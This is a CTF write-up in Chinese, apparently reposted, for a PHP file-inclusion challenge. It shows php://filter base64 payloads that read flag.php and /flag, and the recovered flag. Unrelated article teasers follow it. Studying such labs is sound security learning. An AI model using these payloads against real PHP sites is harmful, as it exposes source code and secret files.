php伪协议 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)

news2024/9/30 11:29:07

打开题目

题目源代码如下

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

代码审计一下

首先检查是否存在名为 file 的 GET 参数

如果存在 file 参数,就用substr函数检查该参数值的前三个字符是否为 "php"

  • 如果是的话,代码会输出 "Nice!!!",然后通过 include 函数包含该参数所指定的文件。
  • 如果不是以 "php" 开头,代码会输出 "Hacker!!"
  • 如果 file 参数不存在,则会显示当前文件的源代码。

很明显这里用php伪协议即可读取flag

payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到

得到提示

把payload换成

?file=php://filter/read=convert.base64-encode/resource=/flag

解码即可得到flag

NSSCTF{7877cb1d-5672-4cc9-946a-d69f3c5d2640}

知识点:

subsub函数

substr(string,start<,length>)

主要功能是复制子字符串,要求从指定位置开始,并具有指定的长度

从string 的start位置开始提取字符串,length:待提取的字符串的长度

若length为以下情况时,返回整个字符串的所有字符

1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度

具体用法见:C++中substr()函数用法详解_substr c++-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1472748.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Springboot应用执行器Actuator源码分析

文章目录 一、认识Actuator1、回顾Actuator2、Actuator重要端点 二、源码分析1、Endpoint自动装配&#xff08;1&#xff09;自动配置入口&#xff08;2&#xff09;普通Endpoint自动装配&#xff08;3&#xff09;配置Web - Endpoint&#xff08;4&#xff09;注册Endpoint为M…

java面试题之nginx篇

1. 什么是Nginx&#xff1f; Nginx是一个 轻量级/高性能的反向代理Web服务器&#xff0c;他实现非常高效的反向代理、负载平衡&#xff0c;他可以处理2-3万并发连接数&#xff0c;官方监测能支持5万并发&#xff0c;现在中国使用nginx网站用户有很多&#xff0c;例如&#xff…

从零实现一套低代码(保姆级教程)【后端服务】 --- 【23】实现数据库表新增数据以及页面展示

摘要 在上一篇中&#xff0c;我们实现了可视化创建数据库表。并没说怎么对表中的数据进行操作。OK&#xff0c;现在我们来实现相关的内容。 如果说&#xff0c;对于新增数据我们无非有两种入口&#xff1a; 在AppBuilder中&#xff0c;可以通过可视化操作数据在XinBuilder中&…

通过Power automate上传文件到SharePoint

上传文件到SharePoint 背景过程Apps开发准备Flow开发SharePoint数据库测试 背景 我们通常都可以通过一些form表单直接上传文件&#xff0c;但是有些时候我们需要对文件名字等信息做一些处理。这个时候我们就需要将文件的内容json流化&#xff0c;然后在流中还原回来。 过程 …

2-24算法习题总结

贪心算法 409. 最长回文串 题目: 给定一个包含大写字母和小写字母的字符串 s &#xff0c;返回 通过这些字母构造成的 最长的回文串 。 在构造过程中&#xff0c;请注意 区分大小写 。比如 “Aa” 不能当做一个回文字符串。 示例 1: 输入 s "abccccdd"输出 7…

Linux 的交换空间(swap)是什么?有什么用?

目录 swap是什么&#xff1f;swap有什么用&#xff1f;swap使用典型场景如何查看你的系统是否用到交换空间呢&#xff1f;查看系统中swap in/out的情况 swap是什么&#xff1f; swap就是磁盘上的一块区域。它和Windows系统中的交换文件作用类似&#xff0c;但是它是一段连续的…

台阶仪在新材料纳米加工中的优势

台阶仪亚埃级垂直分辨率能够实现纳米级别的测量和分析&#xff0c;仪器具备出色的精确性和稳定性。在纳米加工领域&#xff0c;台阶仪不仅能准确评估材料的表面形貌和结构&#xff0c;同时也为纳米加工过程的控制和优化提供了可靠的依据。利用台阶仪实时观测材料表面的微观变化…

vue_pdf,word,excel,pptx等文件预览

项目背景&#xff1a;vue3elementPlusvite 1.pdf 1.1 iframe预览 #toolbar0 拼接到src后&#xff0c;可隐藏iframe顶部的工具栏 <template><div class"viewPDF.vue"><uploadFile file"getFile" accept".pdf,.PDF" ></up…

系统性能提升70%!华润万家某核心系统数据库升级实践

华润万家是华润集团旗下优秀零售连锁企业&#xff0c;业务覆盖中国内地及香港市场&#xff0c;面对万家众多业务需求和互相关联的业务环境&#xff0c;亟需加强各业务耦合性&#xff0c;以适应线上、线下、物流、财务等各个业务环境的快速发展。 随着信息技术的快速发展和数字化…

ubuntu新建ap热点并分享

测试环境ubuntu16 1.方法1 直接手动新建ap热点 参考https://jingyan.baidu.com/article/ea24bc39b03fc6da62b331f0.html https://jingyan.baidu.com/article/363872ecd8f35d6e4ba16f97.html 亲测&#xff0c;发现电脑如果没有连有线&#xff0c;按照以上步骤并不能生成wifi热…

嵌入式学习 Day 24

1.exec函数族 extern char **environ; int execl(const char *path, const char *arg, ... /* (char *) NULL */); int execlp(const char *file, const char *arg, ... /* (char *) NULL */); int execle(const char *path…

插件废土课:打造属于你的“智能笔记”!

哎呀嘞&#xff0c;亲爱的网页冲浪者们&#xff0c;抓紧浮板&#xff0c;我们要继续在Chrome插件的海浪上翻滚啦&#xff01;上次我们玩了个小把戏&#xff0c;搞了个显示时间的Hello World插件&#xff0c;这次我们要把游戏玩大&#xff0c;准备打造一个能让你在网页上乱涂乱画…

【论文精读】LLaMA1

摘要 以往的LLM&#xff08;Large Languages Models&#xff09;研究都遵从一个假设&#xff0c;即更多的参数将导致更好的性能。但也发现&#xff0c;给定计算预算限制后&#xff0c;最佳性能的模型不是参数最大的&#xff0c;而是数据更多的。对于实际场景&#xff0c;首选的…

Qt QWidget 简约美观的加载动画 第二季

&#x1f603; 第二季来啦 &#x1f603; 简约的加载动画,用于网络查询等耗时操作时给用户的提示. 这是最终效果: 一共只有三个文件,可以直接编译运行 //main.cpp #include "LoadingAnimWidget.h" #include <QApplication> #include <QVBoxLayout> #i…

RabbitMq:RabbitMq消息中的相关处理 ③

一、解耦思想 在 RabbitMQ 在设计的时候&#xff0c;特意让生产者和消费者分离&#xff0c;也就是消息的发布和消息的消费之间是解耦的。 生产者与消费者之间的直连&#xff0c;少了很多的灵活性和策略的制定。还有一种解耦的思想存在。 二、消息的可靠性保证与性能关系 消息的…

APP自动化第一步:Appium环境搭建

一、安装Appium Python client包 1.直接cmd窗口输入pip install Appium-Python-Client 2.要确保安装匹配版本的selenium和appium 使用命令pip install selenium -U 首先进入网盘下载这三个软件的压缩包 二、安装Appium Server 1.双击打开压缩包Appium 2.双击进行安装。 3.点…

卡玛网● 46. 携带研究材料 ● 01背包问题,你该了解这些! 滚动数组 力扣● 416. 分割等和子集

开始背包问题&#xff0c;掌握0-1背包和完全背包即可&#xff0c;注&#xff1a;0-1背包是完全背包的基础。 0-1背包问题&#xff1a;有n件物品和一个最多能背重量为w 的背包。第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i] 。每件物品只能用一次&#xff0c;求…

最短路径——通过Dynamo批量创建行进路线

今天我们来聊聊Revit2020新增的一个功能——布线分析&#xff0c;这个功能还是挺有意思的&#xff0c;只是需要”桌子“以后多开放点API就好了&#xff0c;今天我们就简单的试用一下这个功能。 打开Revit2020我们在分析选项卡下&#xff0c;最右侧可以找到布线分析功能栏&am…

JavaScript事件机制

JavaScript事件机制描述的是事件在DOM里面的传递顺序&#xff0c;以及可以对这些事件做出如何的响应。 DOM事件流存在三个阶段&#xff1a; ①事件捕获阶段(从window对象传导到目标节点)、 ②处于目标阶段(在目标节点上触发)、 ③事件冒泡阶段(从目标节点传导回window对象)。 在…

JVM虚拟机初步了解

各位小伙伴们大家好&#xff0c;欢迎来到这个小扎扎的专栏 总结 | 提效 | 拓展&#xff0c;在这个系列专栏中记录了博主在学习期间总结的大块知识点&#xff1b;以及日常工作中遇到的各种技术点 ┗|&#xff40;O′|┛ &#x1f306; 题目速览 1. JVM的位置2. JVM的体系结构3…